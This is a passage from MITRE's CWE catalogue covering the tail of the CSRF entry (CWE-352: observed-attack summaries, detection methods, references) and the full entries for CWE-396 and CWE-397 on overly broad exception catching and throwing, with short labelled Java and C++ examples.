Add user accounts via a URL in an img tag
Arbitrary code execution by specifying the code in a crafted img tag or URL
Gain administrative privileges via a URL in an img tag
Delete a victim's information via a URL or an img tag
Change another user's settings via a URL or an img tag
Perform actions as administrator via a URL or an img tag
modify password for the administrator
CMS allows modification of configuration via CSRF attack against the administrator
web interface allows password changes or stopping a virtual machine via CSRF
+ Weakness Ordinalities
Ordinality Description
Primary
(where the weakness exists independent of other weaknesses)
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Detection Methods
Method Details

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Specifically, manual analysis can be useful for finding this weakness, and for minimizing false positives assuming an understanding of business logic. However, it might not achieve desired code coverage within limited time constraints. For black-box analysis, if credentials are not known for privileged accounts, then the most security-critical portions of the application may not receive sufficient attention.

Consider using OWASP CSRFTester to identify potential issues and aid in manual analysis.

Effectiveness: High

Note:These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Automated Static Analysis
CSRF is currently difficult to detect reliably using automated techniques. This is because each application has its own implicit security policy that dictates which requests can be influenced by an outsider and automatically performed on behalf of a user, versus which requests require strong confidence that the user intends to make the request. For example, a keyword search of the public portion of a web site is typically expected to be encoded within a link that can be launched automatically when the user clicks on the link.

Effectiveness: Limited

Automated Static Analysis - Binary or Bytecode

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR [REF-1479], the following detection techniques may be useful:

Highly cost effective:
  • Web Application Scanner

Effectiveness: High

Dynamic Analysis with Manual Results Interpretation

According to SOAR [REF-1479], the following detection techniques may be useful:

Highly cost effective:
  • Fuzz Tester
  • Framework-based Fuzzer

Effectiveness: High

Manual Static Analysis - Source Code

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source
  • Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis - Source Code

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
  • Formal Methods / Correct-By-Construction

Effectiveness: SOAR Partial
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 635 Weaknesses Originally Used by NVD from 2008 to 2016
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 716 OWASP Top Ten 2007 Category A5 - Cross Site Request Forgery (CSRF)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 751 2009 Top 25 - Insecure Interaction Between Components
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 801 2010 Top 25 - Insecure Interaction Between Components
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 814 OWASP Top Ten 2010 Category A5 - Cross-Site Request Forgery(CSRF)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 864 2011 Top 25 - Insecure Interaction Between Components
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 884 CWE Cross-section
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 936 OWASP Top Ten 2013 Category A8 - Cross-Site Request Forgery (CSRF)
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1200 Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1337 Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1345 OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1350 Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1387 Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1411 Comprehensive Categorization: Insufficient Verification of Data Authenticity
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1425 Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1430 Weaknesses in the 2024 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1435 Weaknesses in the 2025 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1436 OWASP Top Ten 2025 Category A01:2025 - Broken Access Control
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Other

Rationale

This is a well-known Composite of multiple weaknesses that must all occur simultaneously, although it is attack-oriented in nature.

Comments

While attack-oriented composites are supported in CWE, they have not been a focus of research. There is a chance that future research or CWE scope clarifications will change or deprecate them. Perform root-cause analysis to determine if other weaknesses allow CSRF attacks to occur, and map to those weaknesses. For example, predictable CSRF tokens might allow bypass of CSRF protection mechanisms; if this occurs, they might be better characterized as randomness/predictability weaknesses.
+ Notes

Relationship

There can be a close relationship between XSS and CSRF (CWE-352). An attacker might use CSRF in order to trick the victim into submitting requests to the server in which the requests contain an XSS payload. A well-known example of this was the Samy worm on MySpace [REF-956]. The worm used XSS to insert malicious HTML sequences into a user's profile and add the attacker as a MySpace friend. MySpace friends of that victim would then execute the payload to modify their own profiles, causing the worm to propagate exponentially. Since the victims did not intentionally insert the malicious script themselves, CSRF was a root cause.

Theoretical

The CSRF topology is multi-channel:

  • Attacker (as outsider) to intermediary (as user). The interaction point is either an external or internal channel.
  • Intermediary (as user) to server (as victim). The activation point is an internal channel.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER Cross-Site Request Forgery (CSRF)
OWASP Top Ten 2007 A5 Exact Cross Site Request Forgery (CSRF)
WASC 9 Cross-site Request Forgery
+ References
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 2: Web-Server Related Vulnerabilities (XSS, XSRF, and Response Splitting)." Page 37. McGraw-Hill. 2010.
[REF-329] Peter W. "Cross-Site Request Forgeries (Re: The Dangers of Allowing Users to Post Images)". Bugtraq.
<https://marc.info/?l=bugtraq&m=99263135911884&w=2>. (URL validated: 2025-07-24)
[REF-330] OWASP. "Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet".
<https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html>. (URL validated: 2025-07-24)
[REF-331] Edward W. Felten and William Zeller. "Cross-Site Request Forgeries: Exploitation and Prevention". 2008-10-18.
<https://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.147.1445>. (URL validated: 2023-04-07)
[REF-332] Robert Auger. "CSRF - The Cross-Site Request Forgery (CSRF/XSRF) FAQ".
<https://www.cgisecurity.com/csrf-faq.html>. (URL validated: 2025-07-24)
[REF-333] "Cross-site request forgery". Wikipedia. 2008-12-22.
<https://en.wikipedia.org/wiki/Cross-site_request_forgery>. (URL validated: 2023-04-07)
[REF-334] Jason Lam. "Top 25 Series - Rank 4 - Cross Site Request Forgery". SANS Software Security Institute. 2010-03-03.
<https://www.sans.org/blog/top-25-series-rank-4-cross-site-request-forgery>. (URL validated: 2025-07-29)
[REF-335] Jeff Atwood. "Preventing CSRF and XSRF Attacks". 2008-10-14.
<https://blog.codinghorror.com/preventing-csrf-and-xsrf-attacks/>. (URL validated: 2023-04-07)
[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project".
<https://owasp.org/www-project-enterprise-security-api/>. (URL validated: 2025-07-24)
[REF-956] Wikipedia. "Samy (computer worm)".
<https://en.wikipedia.org/wiki/Samy_(computer_worm)>. (URL validated: 2018-01-16)
[REF-1479] Gregory Larsen, E. Kenneth Hong Fong, David A. Wheeler and Rama S. Moorthy. "State-of-the-Art Resources (SOAR) for Software Vulnerability Detection, Test, and Evaluation". 2014-07.
<https://www.ida.org/-/media/feature/publications/s/st/stateoftheart-resources-soar-for-software-vulnerability-detection-test-and-evaluation/p-5061.ashx>. (URL validated: 2025-09-05)
[REF-1482] D3FEND. "D3FEND: D3-TL Trusted Library".
<https://d3fend.mitre.org/technique/d3f:TrustedLibrary/>. (URL validated: 2025-09-06)
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		PLOVER
+ Contributions
Contribution Date Contributor Organization
2024-02-29
(CWE 4.17, 2025-04-03) 		Abhi Balakrishnan
Contributed usability diagram concepts used by the CWE team.
+ Modifications
Modification Date Modifier Organization
2025-12-11
(CWE 4.19, 2025-12-11) 		CWE Content Team MITRE
updated Applicable_Platforms, Relationships, Weakness_Ordinalities
2025-09-09
(CWE 4.18, 2025-09-09) 		CWE Content Team MITRE
updated Detection_Factors, Potential_Mitigations, References
2025-04-03
(CWE 4.17, 2025-04-03) 		CWE Content Team MITRE
updated Alternate_Terms, Common_Consequences, Description, Diagram
2024-11-19
(CWE 4.16, 2024-11-19) 		CWE Content Team MITRE
updated Relationships
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Relationships
2023-04-27 CWE Content Team MITRE
updated References, Relationships
2022-06-28 CWE Content Team MITRE
updated Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2021-07-20 CWE Content Team MITRE
updated Relationships
2020-08-20 CWE Content Team MITRE
updated Relationships
2020-06-25 CWE Content Team MITRE
updated Relationships, Theoretical_Notes
2020-02-24 CWE Content Team MITRE
updated Relationships
2019-09-19 CWE Content Team MITRE
updated Relationships
2018-03-27 CWE Content Team MITRE
updated References, Relationship_Notes, Research_Gaps
2017-11-08 CWE Content Team MITRE
updated Applicable_Platforms, Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships
2015-12-07 CWE Content Team MITRE
updated Relationships
2014-07-30 CWE Content Team MITRE
updated Detection_Factors
2013-07-17 CWE Content Team MITRE
updated References, Relationships
2013-02-21 CWE Content Team MITRE
updated Relationships
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2012-05-11 CWE Content Team MITRE
updated Related_Attack_Patterns, Relationships
2011-09-13 CWE Content Team MITRE
updated Potential_Mitigations, References
2011-06-27 CWE Content Team MITRE
updated Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2011-03-29 CWE Content Team MITRE
updated Description
2010-09-27 CWE Content Team MITRE
updated Potential_Mitigations
2010-06-21 CWE Content Team MITRE
updated Common_Consequences, Detection_Factors, Potential_Mitigations, References, Relationships
2010-02-16 CWE Content Team MITRE
updated Applicable_Platforms, Detection_Factors, References, Relationships, Taxonomy_Mappings
2009-12-28 CWE Content Team MITRE
updated Common_Consequences, Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, Observed_Examples, Potential_Mitigations, Time_of_Introduction
2009-05-27 CWE Content Team MITRE
updated Demonstrative_Examples, Related_Attack_Patterns
2009-05-20 Tom Stracener
Added demonstrative example for profile.
2009-03-10 CWE Content Team MITRE
updated Potential_Mitigations
2009-01-12 CWE Content Team MITRE
updated Applicable_Platforms, Description, Likelihood_of_Exploit, Observed_Examples, Other_Notes, Potential_Mitigations, References, Relationship_Notes, Relationships, Research_Gaps, Theoretical_Notes
2008-09-08 CWE Content Team MITRE
updated Alternate_Terms, Description, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
Back to top

CWE-396: Declaration of Catch for Generic Exception

Weakness ID: 396
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
Catching overly broad exceptions promotes complex error handling code that is more likely to contain security vulnerabilities.
+ Extended Description
Multiple catch blocks can get ugly and repetitive, but "condensing" catch blocks by catching a high-level class like Exception can obscure exceptions that deserve special treatment or that should not be caught at this point in the program. Catching an overly broad exception essentially defeats the purpose of a language's typed exceptions, and can become particularly dangerous if the program grows and begins to throw new types of exceptions. The new exception types will not receive any attention.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Hide Activities

Scope: Non-Repudiation, Other

A generic exception can hide details about unexpected adversary activities by making it difficult to properly troubleshoot error conditions during execution.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 221 Information Loss or Omission
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 705 Incorrect Control Flow Scoping
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 755 Improper Handling of Exceptional Conditions
+ Relevant to the view "Software Development" (View-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 389 Error Conditions, Return Values, Status Codes
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

C++ (Undetermined Prevalence)

Java (Undetermined Prevalence)

C# (Undetermined Prevalence)

Python (Undetermined Prevalence)

+ Demonstrative Examples

Example 1


The following code excerpt handles three types of exceptions in an identical fashion.

(good code)
Example Language: Java 
try {
doExchange();
}
catch (IOException e) {
logger.error("doExchange failed", e);
}
catch (InvocationTargetException e) {

logger.error("doExchange failed", e);
}
catch (SQLException e) {

logger.error("doExchange failed", e);
}

At first blush, it may seem preferable to deal with these exceptions in a single catch block, as follows:

(bad code)
Example Language: Java 
try {
doExchange();
}
catch (Exception e) {
logger.error("doExchange failed", e);
}

However, if doExchange() is modified to throw a new type of exception that should be handled in some different kind of way, the broad catch block will prevent the compiler from pointing out the situation. Further, the new catch block will now also handle exceptions derived from RuntimeException such as ClassCastException, and NullPointerException, which is not the programmer's intent.



+ Weakness Ordinalities
Ordinality Description
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods
Method Details

Automated Static Analysis
Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 388 7PK - Errors
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 960 SFP Secondary Cluster: Ambiguous Exception Type
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1129 CISQ Quality Measures (2016) - Reliability
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1131 CISQ Quality Measures (2016) - Security
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1410 Comprehensive Categorization: Insufficient Control Flow Management
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1445 OWASP Top Ten 2025 Category A10:2025 - Mishandling of Exceptional Conditions
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
7 Pernicious Kingdoms Overly-Broad Catch Block
Software Fault Patterns SFP5 Ambiguous Exception Type
OMG ASCSM ASCSM-CWE-396
OMG ASCRM ASCRM-CWE-396
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07.
<https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 9: Catching Exceptions." Page 157. McGraw-Hill. 2010.
[REF-961] Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". ASCRM-CWE-396. 2016-01.
<http://www.omg.org/spec/ASCRM/1.0/>.
[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-396. 2016-01.
<http://www.omg.org/spec/ASCSM/1.0/>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		7 Pernicious Kingdoms
+ Contributions
Contribution Date Contributor Organization
2023-03-06 Drew Buttner MITRE
Suggested additional Applicable_Platforms and modification to extended description.
+ Modifications
Modification Date Modifier Organization
2025-12-11
(CWE 4.19, 2025-12-11) 		CWE Content Team MITRE
updated Relationships, Weakness_Ordinalities
2025-04-03
(CWE 4.17, 2025-04-03) 		CWE Content Team MITRE
updated Common_Consequences, Demonstrative_Examples
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Applicable_Platforms, Description, Detection_Factors, Relationships, Time_of_Introduction
2020-02-24 CWE Content Team MITRE
updated References
2019-01-03 CWE Content Team MITRE
updated References, Relationships, Taxonomy_Mappings
2014-07-30 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2012-05-11 CWE Content Team MITRE
updated References, Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2009-10-29 CWE Content Team MITRE
updated Description, Other_Notes
2009-05-27 CWE Content Team MITRE
updated Demonstrative_Examples
2009-03-10 CWE Content Team MITRE
updated Relationships
2008-10-14 CWE Content Team MITRE
updated Applicable_Platforms
2008-09-24 CWE Content Team MITRE
Removed C from Applicable_Platforms
2008-09-08 CWE Content Team MITRE
updated Applicable_Platforms, Relationships, Other_Notes, Taxonomy_Mappings
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
+ Previous Entry Names
Change Date Previous Entry Name
2008-04-11 Overly-Broad Catch Block
Back to top

CWE-397: Declaration of Throws for Generic Exception

Weakness ID: 397
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product throws or raises an overly broad exceptions that can hide important details and produce inappropriate responses to certain conditions.
+ Extended Description
Declaring a method to throw Exception or Throwable promotes generic error handling procedures that make it difficult for callers to perform proper error handling and error recovery. For example, Java's exception mechanism makes it easy for callers to anticipate what can go wrong and write code to handle each specific exceptional circumstance. Declaring that a method throws a generic form of exception defeats this system.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Hide Activities; Alter Execution Logic

Scope: Non-Repudiation, Other

Throwing a generic exception can hide details about unexpected adversary activities by making it difficult to properly troubleshoot error conditions during execution.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 221 Information Loss or Omission
ChildOf Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 703 Improper Check or Handling of Exceptional Conditions
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 705 Incorrect Control Flow Scoping
+ Relevant to the view "Software Development" (View-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 389 Error Conditions, Return Values, Status Codes
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

C++ (Undetermined Prevalence)

C# (Undetermined Prevalence)

Java (Undetermined Prevalence)

Python (Undetermined Prevalence)

+ Demonstrative Examples

Example 1


The following method throws three types of exceptions.

(good code)
Example Language: Java 
public void doExchange() throws IOException, InvocationTargetException, SQLException {
...
}

While it might seem tidier to write

(bad code)
Example Language: Java 
public void doExchange() throws Exception {
...
}

doing so hampers the caller's ability to understand and handle the exceptions that occur. Further, if a later revision of doExchange() introduces a new type of exception that should be treated differently than previous exceptions, there is no easy way to enforce this requirement.



Example 2


Early versions of C++ (C++98, C++03, C++11) included a feature known as Dynamic Exception Specification. This allowed functions to declare what type of exceptions it may throw. It is possible to declare a general class of exception to cover any derived exceptions that may be thrown.

(bad code)
Example Language: C++ 
int myfunction() throw(std::exception) {
if (0) throw out_of_range();
throw length_error();
}

In the example above, the code declares that myfunction() can throw an exception of type "std::exception" thus hiding details about the possible derived exceptions that could potentially be thrown.



+ Weakness Ordinalities
Ordinality Description
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods
Method Details

Automated Static Analysis
Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 388 7PK - Errors
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 851 The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 960 SFP Secondary Cluster: Ambiguous Exception Type
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1129 CISQ Quality Measures (2016) - Reliability
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1131 CISQ Quality Measures (2016) - Security
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1141 SEI CERT Oracle Secure Coding Standard for Java - Guidelines 07. Exceptional Behavior (ERR)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1410 Comprehensive Categorization: Insufficient Control Flow Management
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1445 OWASP Top Ten 2025 Category A10:2025 - Mishandling of Exceptional Conditions
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Applicable Platform

For C++, this weakness only applies to C++98, C++03, and C++11. It relies on a feature known as Dynamic Exception Specification, which was part of early versions of C++ but was deprecated in C++11. It has been removed for C++17 and later.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
7 Pernicious Kingdoms Overly-Broad Throws Declaration
The CERT Oracle Secure Coding Standard for Java (2011) ERR07-J Do not throw RuntimeException, Exception, or Throwable
Software Fault Patterns SFP5 Ambiguous Exception Type
OMG ASCSM ASCSM-CWE-397
OMG ASCRM ASCRM-CWE-397
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07.
<https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
[REF-961] Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". ASCRM-CWE-397. 2016-01.
<http://www.omg.org/spec/ASCRM/1.0/>.
[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-397. 2016-01.
<http://www.omg.org/spec/ASCSM/1.0/>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		7 Pernicious Kingdoms
+ Modifications
Modification Date Modifier Organization
2025-12-11
(CWE 4.19, 2025-12-11) 		CWE Content Team MITRE
updated Relationships, Weakness_Ordinalities
2025-04-03
(CWE 4.17, 2025-04-03) 		CWE Content Team MITRE
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description
2024-02-29
